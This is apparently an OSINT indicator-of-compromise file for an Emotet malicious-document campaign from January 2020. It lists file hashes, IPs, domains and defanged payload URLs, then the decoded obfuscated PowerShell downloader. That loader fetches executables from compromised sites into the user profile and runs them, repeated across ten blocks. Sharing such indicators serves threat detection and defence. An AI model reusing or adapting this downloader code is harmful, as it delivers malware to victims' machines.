Emotet_Doc_out_2020-01-22_14_16.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
0c9c3b35c2644f8b16e462cde0d72f7d2cd0e33fad833335fd0b76c4882caa57
0e9e43c0429b560afae123776797b95528cfb7b3564487c82a25a57c81570144
1304262ec701e3f4b7af34c0e3328c89b77a18aa6fdbe4e8456bfcb4b5b8deb0
1336db381a525de43eec79ac2369d5ec80c71c02d77f3260e6cb9573690400eb
147d552d8415e749286b269163bd5bbd69a89439a3fb292bcf077ba73ac2cbc1
167d9bcca8a82ce0278fe287d41ac7613af52aae5a209c7c5fe8189b93f829ff
23343ce871db6011dacc4be13f735644e852cec664610e8cfd1cb9075f160e64
2c5c8103b178dac451a51f685bedf9b08d07eeef96b2803272449470798a3874
2e616a4428b0ac862b6015ba2845aa97b9334f0372c4908efacf3365dbcd9331
3a67ea33f060b7d668ab8c11d25a533ec87892df095d37574e5d4df9a0ef57e5
3aadd5138e827abf8df46ff6156448047a2f4d2cb14f6ab48084c018a2350460
3ada0f468e58df14294db73dbdbb1f68ef6d139fc4100aed3154ca7d0c948cf8
3d932fe98d36548c1227fcc7821158d4b68b5a558ac85898b1ccc2d8555d2d91
467892f14b5365a2594234689b883e78799b1f8fb841acd1eb4d27656de5eee3
5322a6c9f3c46177df8e8664406a753c5f37c21d11f9a01a682e6661af2b925a
5b56c0ebd7cdd78d5cc2e6ebe69d788d1892e7415576ee5b1ffca124d710b3ad
64aee9095e2b2f83c7dba5ea8706356382bfac51980424232b6082fbfad5d065
65a7ef6d4458351e36e0b18d52e7265b581e42f52a631863836c5e3e094ba663
7c61059c5145b1ec4490910d8aeabe5c441ba66bcd3d8982449de4e61496f7d6
7d183609b5d030207a882160a3028ed7d0fc9bc12c8e9cdaf099fb9b7608544e
8008c3f56bc913987d36a44d597599a014fdf94788d94fcbc8bfd7d37576b9da
82a8c2522f76308453a30e1627d15c34f44feb9a71a3ca8ab93b32c0dfc2be50
8adf131ed321d6d3aab85250d292da1d638dd76087af7f59025f93ac6e795697
8fd8d71378a73dd613b15202dfc979ef56e0180526822120b9c8a8cbce7120ae
9138dda04314a7c25853990c93c567bcdb11ef898c1984f9a824275e49952e3e
9224d4636d6fe5da84e77fb18cdcfd47738a6ae7b876366206d5bc14ae44ca7b
95852bc2a7d2fc8fbc3ce8c4a1cde2dd4142f857a564791284b600c43d5d3120
960aa566454f438605ffdc1855a37be31e9d245a5f2979d3fe602dc3b40190d1
a2dc8164ec185c9b26031730c95b21d82c9ff5a10e8cb1fa04d13112646b0054
aa9f7f35e6c09481d3d4339d5539b302e9fdf1312171083ada6f47e8cc10dbe7
ab0026b4d3d49ca766c3350b51b3293f95e49a062fd3e9cefed0738c25fe45d8
b23e65886b6102cc45c56588aa0eec624ee3a18429f5884a263c3ca9a1394f4f
b2b6d08be5ff27c2f8b13654e8b8f6b2aaca5bc59531f09e7248da3e81f63bf6
b2c00c00d4b4a50d7a8fff068a17431edca6dfcd1534e79abe45977c6a53be3a
b4bb51858c0b6476e616f994d1cd3757055a3cda5dc5ccf2f8248a7555f2f309
b7efd449a904ccfe19b73c4677bf9c45e8db0cbd41f30ef44c06a5411cd8e505
b93db23fad2f0ff7ceb58f90c8db136b57e16916be45495ee4b9e37f34f61e08
b983018c45b1d8095be9f34eeb9e893537656fe21f5f5e66efbb3a9d855d2343
caf58c03e400ae500bfca982758c6ec4a0264a1756389e6184cbb5675617c708
cdd11dc87026430135aeb8c695434c0ec1e1e0f52d26bcf69bdcaa2eb0a13429
d1ef744f572cbd638e9fc0e5fa6e041a8f52b0448392988f1b39e52c968b60f9
d32c05108548651c01383c20554fe5b424f1affd4e5b8517a2b09e487f99fb37
d95d8f724ba0da26738eeb8263b1dcb07a6165eb0f4af8d467d312a62adceaac
d9945fce7b62b492b930602d1956ef25a4f479800ea3839c904bcd7f1ac7d71c
ded63a9315835ea3a7e52684e48892b2e804a01ac9df44db19dcdd326129f6e2
e6a07c79c993009046b6b24a75be9402365d4081ff035f4586ea8996684132ff
e788d5ce707c06abc299bec5cd22a6a156ef44bf8d6212b1d39b03b9d534ffaf
ecf8f5dfe3fd08f1512fa80a427f3121553c734b91d4982c448c3af81af7ff4c
f22a1b774e12aaa3a935a89c697bc63475772a1d2d7b7945267cf6c54e436aab
f3d10d51162a9cf86a74239b5027e3c5a24a785fd03200ba129f3042b2d79665
f45b557ab95e8aedab15bf3a578af7080cea08a1d21a1cc7214b63e7e30b48e2
f748d5b794cbf7f990dcbfbdcc8001d55f42ee431745c529d9337b232a1c531a
f8cd0ec825c89fdfbdcebefa1756132a3f4d14e798d4b8f1833de4b6db4eeb91
fb329b03d54bc976df1ad5cb760b08d405ea3e416815c4a9e25ff9ba9a9d9118
ff5e6840c033177bf0f2b1846e6bd2d47356a734d6b7c35fb255a02d348bccb5


IPs:
103.1.220.17
104.27.176.71
104.27.177.71
122.169.119.117
142.4.218.134
142.93.114.137
144.217.17.17
148.72.115.220
151.139.245.28
152.231.89.226
153.183.25.24
157.240.11.35
157.240.22.35
159.65.241.220
160.153.133.175
173.212.238.169
180.33.71.88
183.111.182.249
187.188.166.192
190.131.167.50
192.241.143.52
198.46.81.208
213.186.33.19
213.186.33.5
23.238.19.153
31.13.70.36
45.79.95.107
50.62.160.127
51.159.23.217
51.77.113.102
68.114.229.171
68.174.15.223
68.66.216.4
69.163.33.84
72.29.55.174
74.101.225.121
74.130.83.133
76.104.80.47
81.214.253.80
83.150.215.163
87.106.46.107
91.205.215.10
91.234.194.177
91.83.93.124
94.200.114.162
98.15.140.226


Domains:
ahc.mrbdev.com
aquacuore.com
dailyvocab.com
demo.growmatrics.com
digitalbrit.com
dotflix.site
email-template.webview.consulting
flashuniforms.tcules.com
intranet.pagei.gethompy.com
luilao.com
oceans-news.com
restaurant-flaveur.com
sporsho.org
twthp.com
upgrade.pureideas.biz
wpdemo7.xtoreapp.com
www.besthelpinghand.com
yesimsatirli.com


URLs:
hxxp://www.besthelpinghand.com/wp-admin/tsh4/
hxxp://safari7.devitsandbox.com/error-log/wuuie/
hxxps://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/
hxxp://hecquet.info/clickandbuilds/mV8Sn/
hxxp://trungcapduochanoi.info/wp-admin/w3pg1ny/
hxxp://restaurant-flaveur.com/wp-content/cBuLzTJSV/
hxxp://wpdemo7.xtoreapp.com/wp-admin/my21j-drza7w63p-770416849/
hxxp://www.69po.com/wp-admin/hqkn-3wr8ii24-7356149/
hxxp://raoulbataka.com/wp-admin/ADFfzANCL/
hxxp://test.noltestudiozadar.com/wp-content/EATEzsRmP/
hxxp://ahc.mrbdev.com/wp-admin/qp0/
hxxp://e-twow.be/verde/in6k/
hxxps://magnificentpakistan.com/wp-includes/ha5j0b1/
hxxps://www.qwqoo.com/homldw/3piyy4/
hxxp://siwakuposo.com/siwaku2/X5zB0ey/
hxxp://flashuniforms.tcules.com/wp-includes/5V76880/
hxxp://digitalbrit.com/raako/Zxa72252/
hxxp://netyte.com/wp-content/uploads/lQ2r/
hxxps://dpbh.info/wp-content/EEO1A255793/
hxxp://nguyendinhhieu.info/wp-includes/Sb5ib/
hxxp://dotflix.site/5in23ofd1rw/ZP704708/
hxxp://email-template.webview.consulting/images/BQsXK/
hxxp://upgrade.pureideas.biz/cgi-bin/LwtJWLWZLY/
hxxp://dailyvocab.com/hashmedia/6zkB/
hxxp://intranet.pagei.gethompy.com/wp-includes/Cz3Y/
hxxp://demo.growmatrics.com/wp-admin/zmfkm-plqxh-765909100/
hxxp://www.crossfitheimdall.com/1ha8us/ek21iei9dl-fab4lvyuw-465996896/
hxxp://www.bancadelluniverso.it/softaculous/OfkQExY/
hxxp://www.demo.thedryerventpro.com/wp-admin/601o97lmde-she8j1-4176106/
hxxp://www.escuelaunosanagustin.com/wp-admin/a0dmmx-3m2-2574/
hxxp://aquacuore.com/wp-admin/z7z8-u7hfr-511/
hxxp://ec2-13-210-105-205.ap-southeast-2.compute.amazonaws.com/phpMyAdmin/eXETEpuhb/
hxxp://celtainbrazil.com/wp-content/themes/alternate-lite/89m-m0oey4scz-463/
hxxp://haru.mrprintoke.com/wp-includes/dxiDhE/
hxxp://ga-partnership.com/wp-admin/yWJLQb/
hxxp://twthp.com/wp-admin/afqoiy/
hxxp://yesimsatirli.com/baby/HsWjaCfoR/
hxxp://sporsho.org/wp-admin/86iuflc/
hxxps://humana.5kmtechnologies.com/wp-includes/KdR9xbBq1/
hxxp://billing.wpkami.com/ingenico/k5/
hxxp://oceans-news.com/wp-admin/Pa00/
hxxp://moonrockscartsandbudsshop.com/wp-content/GLhdNK/
hxxps://controlciudadano07.com/wp-includes/fMFgbFHN19/
hxxp://wtc-chandigarh.org/4k4t2zs/hZD761/
hxxp://myrestaurant.coupoly.com/jazz-bar/2V42531/
hxxp://luilao.com/yakattack/rwkat/
hxxp://sewaseminar.djamscakes.com/wp/VwmLttEtdN/
hxxp://gk725.com/6dn/ekeh/
hxxps://behfarmer.com/wp-admin/yxFB5/
hxxps://blog.anytimeneeds.com/wp-content/kc/


Decoded Base64 Powershell:
$Zfdhqlzlrk='Ulnrrrlwavgo';
$Uwiphvvvgsy = '924';
$Nukuzcfsch='Albcmevnkiepb';
$Rnxeqrhltnm=$env:userprofile+'\'+$Uwiphvvvgsy+'.exe';
$Jezpjtalr='Erptljfulky';
$Szqyrxvjzoi=.('ne'+'w'+'-object') neT.wEBcLient;
$Vticixbykdvd='hxxp://www.besthelpinghand.com/wp-admin/tsh4/
hxxp://safari7.devitsandbox.com/error-log/wuuie/
hxxps://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/
hxxp://hecquet.info/clickandbuilds/mV8Sn/
hxxp://trungcapduochanoi.info/wp-admin/w3pg1ny/'."SPl`it"([char]42);
$Jckbeqvtmvvo='Cdaakvxzdxqx';
foreach($Xgopdxneh in $Vticixbykdvd){try{$Szqyrxvjzoi."DOw`NLOaDf`ile"($Xgopdxneh, $Rnxeqrhltnm);
$Gbwklgfgiy='Mvswtfhq';
If ((&('G'+'et-'+'Item') $Rnxeqrhltnm)."LEN`Gth" -ge 22877) {[Diagnostics.Process]::"StA`Rt"($Rnxeqrhltnm);
$Koxvjzmlhv='Kzkcxnvubtj';
break;
$Hgekpdfo='Wnkvgwnzea'}}catch{}}$Xickdiwjr='Scthassfzun'$Arhfjburb='Iifiyctuazk';
$Jqtvrvyvhb = '958';
$Unpmtaca='Cmygqlcid';
$Hdllitteqrg=$env:userprofile+'\'+$Jqtvrvyvhb+'.exe';
$Nlnatogkiq='Bpoefifm';
$Crnrcuzfdzg=&('n'+'e'+'w-'+'object') neT.wEBcLIEnt;
$Qnsttocs='hxxp://restaurant-flaveur.com/wp-content/cBuLzTJSV/
hxxp://wpdemo7.xtoreapp.com/wp-admin/my21j-drza7w63p-770416849/
hxxp://www.69po.com/wp-admin/hqkn-3wr8ii24-7356149/
hxxp://raoulbataka.com/wp-admin/ADFfzANCL/
hxxp://test.noltestudiozadar.com/wp-content/EATEzsRmP/'."SP`Lit"([char]42);
$Xfldmeowb='Sgbcmzlwq';
foreach($Mgttixxpel in $Qnsttocs){try{$Crnrcuzfdzg."D`OWnlo`AdFIlE"($Mgttixxpel, $Hdllitteqrg);
$Klxrbgxaypdj='Oqccvlowu';
If ((.('G'+'et-I'+'tem') $Hdllitteqrg)."l`enG`Th" -ge 27120) {[Diagnostics.Process]::"sT`ART"($Hdllitteqrg);
$Csitprjfva='Cizbxqoxntyi';
break;
$Ujcnrnipdere='Zinnkhznmn'}}catch{}}$Ulyiuajv='Dhjslmeu'$Azytjhzgaumig='Nvxdxgccbng';
$Nnyjthcrzjoyv = '937';
$Iiqsfpsm='Rogxpgyve';
$Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe';
$Sbrypywxgcitf='Wpawybiqmj';
$Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WeBCLiEnT;
$Rxbywici='hxxp://ahc.mrbdev.com/wp-admin/qp0/
hxxp://e-twow.be/verde/in6k/
hxxps://magnificentpakistan.com/wp-includes/ha5j0b1/
hxxps://www.qwqoo.com/homldw/3piyy4/
hxxp://siwakuposo.com/siwaku2/X5zB0ey/'."spL`iT"([char]42);
$Nuoltwfqh='Qrvohdiubfek';
foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrlh);
$Hkukkfoptjdr='Xabdxvkfcma';
If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) {[Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh);
$Yzjjfplmkgx='Bxlkqmtxa';
break;
$Molchijx='Quatlbdlqvfdp'}}catch{}}$Rckajrxvi='Ejecwargkcl'$Cponcdzxmvdj='Cbppsbgmvnnh';
$Ejwxxgoarlwik = '413';
$Amoelegmliu='Kctxuepkgt';
$Zxvzsdhvby=$env:userprofile+'\'+$Ejwxxgoarlwik+'.exe';
$Kqtbzvthjli='Hqvpehywu';
$Okibvhmjzgy=.('n'+'e'+'w'+'-object') neT.WEBCLiENt;
$Wjqdcxcyc='hxxp://flashuniforms.tcules.com/wp-includes/5V76880/
hxxp://digitalbrit.com/raako/Zxa72252/
hxxp://netyte.com/wp-content/uploads/lQ2r/
hxxps://dpbh.info/wp-content/EEO1A255793/
hxxp://nguyendinhhieu.info/wp-includes/Sb5ib/'."S`plIt"([char]42);
$Tqmfbdutwqao='Lmbxcyufrm';
foreach($Qgpjtktv in $Wjqdcxcyc){try{$Okibvhmjzgy."d`oWNlOAD`Fi`LE"($Qgpjtktv, $Zxvzsdhvby);
$Ubltqqoahjin='Rorohciet';
If ((.('G'+'et-I'+'tem') $Zxvzsdhvby)."LEng`Th" -ge 35814) {[Diagnostics.Process]::"S`TART"($Zxvzsdhvby);
$Sdzoyzshishda='Mdbdorwhfndfk';
break;
$Irwrykatlju='Yhoowdvarqjhv'}}catch{}}$Authurkqgimo='Qutsyixzpj'$Ejtwrbjhzib='Huabgbaxab';
$Llioewzyxfpu = '399';
$Jumcwxbp='Uoohiemznej';
$Jsjhmrwddwokg=$env:userprofile+'\'+$Llioewzyxfpu+'.exe';
$Wejsuqdi='Orpvxmezwih';
$Clkqlrden=&('new-'+'ob'+'ject') nEt.WebcLIent;
$Tskqkcqhvsx='hxxp://dotflix.site/5in23ofd1rw/ZP704708/
hxxp://email-template.webview.consulting/images/BQsXK/
hxxp://upgrade.pureideas.biz/cgi-bin/LwtJWLWZLY/
hxxp://dailyvocab.com/hashmedia/6zkB/
hxxp://intranet.pagei.gethompy.com/wp-includes/Cz3Y/'."SPl`it"([char]42);
$Rtrtobwetr='Xnegywelaaq';
foreach($Romnksimkz in $Tskqkcqhvsx){try{$Clkqlrden."do`W`N`LOAdFilE"($Romnksimkz, $Jsjhmrwddwokg);
$Pnjemjwrrr='Xohmiuzz';
If ((.('Get-I'+'t'+'em') $Jsjhmrwddwokg)."le`NgTh" -ge 24784) {[Diagnostics.Process]::"sT`ART"($Jsjhmrwddwokg);
$Asymdulrdykzn='Gitxfwfd';
break;
$Wzsfqtcpp='Oxtxgzvemp'}}catch{}}$Iorfitbuowegu='Nfikxeoska'$Otgkdqip='Zekcifjjq';
$Xmffjiwpk = '59';
$Noymzwzuyxqfj='Xhvwfaayhvd';
$Htfynvhklfu=$env:userprofile+'\'+$Xmffjiwpk+'.exe';
$Ngtbapgr='Qmpqhcofsop';
$Njmjuzoruv=.('new-ob'+'je'+'ct') NeT.WEbCliENT;
$Xcugypawbqt='hxxp://demo.growmatrics.com/wp-admin/zmfkm-plqxh-765909100/
hxxp://www.crossfitheimdall.com/1ha8us/ek21iei9dl-fab4lvyuw-465996896/
hxxp://www.bancadelluniverso.it/softaculous/OfkQExY/
hxxp://www.demo.thedryerventpro.com/wp-admin/601o97lmde-she8j1-4176106/
hxxp://www.escuelaunosanagustin.com/wp-admin/a0dmmx-3m2-2574/'."s`PlIT"([char]42);
$Veuzmqqq='Xhsdoeunykqek';
foreach($Ukulksfgh in $Xcugypawbqt){try{$Njmjuzoruv."downl`O`AdF`IlE"($Ukulksfgh, $Htfynvhklfu);
$Tvtqkmmbey='Qubvauqsi';
If ((.('Ge'+'t'+'-Item') $Htfynvhklfu)."L`E`NgTh" -ge 31555) {[Diagnostics.Process]::"S`Tart"($Htfynvhklfu);
$Aybrblqteosux='Jkgnfrydsw';
break;
$Kuxbextplkv='Hdbbbgxzigic'}}catch{}}$Icviumufzhnn='Kzzpgtxn'$Rtvphyaui='Qrosceja';
$Sapczygxc = '469';
$Tugmffgmygz='Clcfceufkoj';
$Ogjvhsmbeo=$env:userprofile+'\'+$Sapczygxc+'.exe';
$Hvbnccbcabi='Vnwxxrsxqrce';
$Tegbutix=&('ne'+'w-ob'+'j'+'ect') NEt.webClIeNt;
$Gyasmfyxo='hxxp://aquacuore.com/wp-admin/z7z8-u7hfr-511/
hxxp://ec2-13-210-105-205.ap-southeast-2.compute.amazonaws.com/phpMyAdmin/eXETEpuhb/
hxxp://celtainbrazil.com/wp-content/themes/alternate-lite/89m-m0oey4scz-463/
hxxp://haru.mrprintoke.com/wp-includes/dxiDhE/
hxxp://ga-partnership.com/wp-admin/yWJLQb/'."spL`IT"([char]42);
$Ljifxoryk='Ewxobktjji';
foreach($Wbrudzmhbifes in $Gyasmfyxo){try{$Tegbutix."dOWNL`O`AdFIlE"($Wbrudzmhbifes, $Ogjvhsmbeo);
$Mrseqrezjd='Srvlgbwdlms';
If ((&('Get-I'+'t'+'em') $Ogjvhsmbeo)."lE`NGth" -ge 35998) {[Diagnostics.Process]::"s`TArt"($Ogjvhsmbeo);
$Ogiuozfavo='Bhflcabhvj';
break;
$Dimcxayxj='Xqopvksw'}}catch{}}$Wzpxakstn='Sarfmccvq'$Scpqzkvqzg='Wtkvccqjadryp';
$Lborvlzaumvcs = '565';
$Soexkuunrpn='Lpktlcgjqsz';
$Jhpdgmqhg=$env:userprofile+'\'+$Lborvlzaumvcs+'.exe';
$Lokrbljhxl='Pbzwenpdt';
$Cgvpergnokl=&('new-'+'obj'+'ect') neT.wEBcLIeNT;
$Nmdvinrcdgb='hxxp://twthp.com/wp-admin/afqoiy/
hxxp://yesimsatirli.com/baby/HsWjaCfoR/
hxxp://sporsho.org/wp-admin/86iuflc/
hxxps://humana.5kmtechnologies.com/wp-includes/KdR9xbBq1/
hxxp://billing.wpkami.com/ingenico/k5/'."s`PliT"([char]42);
$Hfdmvecvfvb='Danbdioei';
foreach($Pnvcsitanb in $Nmdvinrcdgb){try{$Cgvpergnokl."d`O`w`NlOaDfILe"($Pnvcsitanb, $Jhpdgmqhg);
$Agmmfkypwadly='Cvpwjnsutez';
If ((&('Get-Ite'+'m') $Jhpdgmqhg)."LE`NGth" -ge 30258) {[Diagnostics.Process]::"ST`Art"($Jhpdgmqhg);
$Ajzqhlorpq='Lmeaopcpfsolf';
break;
$Mthgxyevr='Qnzlfzbmbfptp'}}catch{}}$Kehunkydcx='Xyhqnwsypp'$Wkgxpgiw='Gfbzswkhlrhq';
$Eoacekekozj = '455';
$Iomqasit='Wislxlsqtuwd';
$Qbprsmophopad=$env:userprofile+'\'+$Eoacekekozj+'.exe';
$Oerxbvfzyv='Wgncxlqgwnsw';
$Aewpiyearkpb=&('new-o'+'bj'+'ect') NEt.wEBcLiENt;
$Zycmysppz='hxxp://oceans-news.com/wp-admin/Pa00/
hxxp://moonrockscartsandbudsshop.com/wp-content/GLhdNK/
hxxps://controlciudadano07.com/wp-includes/fMFgbFHN19/
hxxp://wtc-chandigarh.org/4k4t2zs/hZD761/
hxxp://myrestaurant.coupoly.com/jazz-bar/2V42531/'."s`PlIt"([char]42);
$Pzroffeab='Lsqnwkxe';
foreach($Iolxuzje in $Zycmysppz){try{$Aewpiyearkpb."DownL`oa`dFi`Le"($Iolxuzje, $Qbprsmophopad);
$Mdrwkmepalu='Ffhjqanwerbm';
If ((&('Get-'+'It'+'em') $Qbprsmophopad)."LeN`GTh" -ge 34983) {[Diagnostics.Process]::"ST`ArT"($Qbprsmophopad);
$Zdusirdwarut='Bkgbxkhpah';
break;
$Shmqkrmmqwrc='Cjhsvhol'}}catch{}}$Ulvpkkdnp='Wkjhcgnueseau'$Xylzoxsz='Cwjbglnxan';
$Hljzfyedh = '299';
$Pikcmupsisir='Wybxisyfpaxzm';
$Wpzlowjwnypi=$env:userprofile+'\'+$Hljzfyedh+'.exe';
$Htvrevrev='Xqueakinq';
$Ohjtiajtizk=&('new'+'-ob'+'j'+'ect') nET.WeBcLIeNt;
$Frwuqcujk='hxxp://luilao.com/yakattack/rwkat/
hxxp://sewaseminar.djamscakes.com/wp/VwmLttEtdN/
hxxp://gk725.com/6dn/ekeh/
hxxps://behfarmer.com/wp-admin/yxFB5/
hxxps://blog.anytimeneeds.com/wp-content/kc/'."sP`lIt"([char]42);
$Pznvksjeniynb='Ztceufrduil';
foreach($Qlcxtubs in $Frwuqcujk){try{$Ohjtiajtizk."DO`WnloaDFi`Le"($Qlcxtubs, $Wpzlowjwnypi);
$Nqzaghdw='Lzurswydtf';
If ((.('Ge'+'t-Ite'+'m') $Wpzlowjwnypi)."l`ENGTh" -ge 30464) {[Diagnostics.Process]::"St`Art"($Wpzlowjwnypi);
$Kletyvsmzhj='Ixgtvqvjrfzoz';
break;
$Fsfmbaopcofal='Rlauobxakw'}}catch{}}$Tffeypwhh='Pwthdepqkmfon'